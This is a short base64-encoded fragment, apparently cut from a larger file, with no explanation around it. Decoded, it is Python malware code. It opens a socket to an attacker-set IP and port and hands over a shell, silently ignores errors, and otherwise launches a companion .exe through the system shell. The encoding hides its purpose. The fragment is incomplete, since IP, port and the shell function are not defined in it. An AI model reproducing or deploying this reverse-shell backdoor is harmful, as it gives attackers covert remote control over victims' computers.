CXMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCgkJ
CQlzLmNvbm5lY3QoKElQLCBwb3J0KSkKCQkJCXNoZWxsKCkKCQkJZXhjZXB0IEV4Y2VwdGlvbjoK
CQkJCXBhc3MKZXhjZXB0OgoJc3VicHJvY2Vzcy5Qb3Blbihvcy5nZXRjd2QoKSArIGNocig5Mikg
KyBvcy5wYXRoLmJhc2VuYW1lKHBhdGgpICsgJy5leGUnLCBzaGVsbD1UcnVlKQoJc3lzLmV4aXQo
KQo=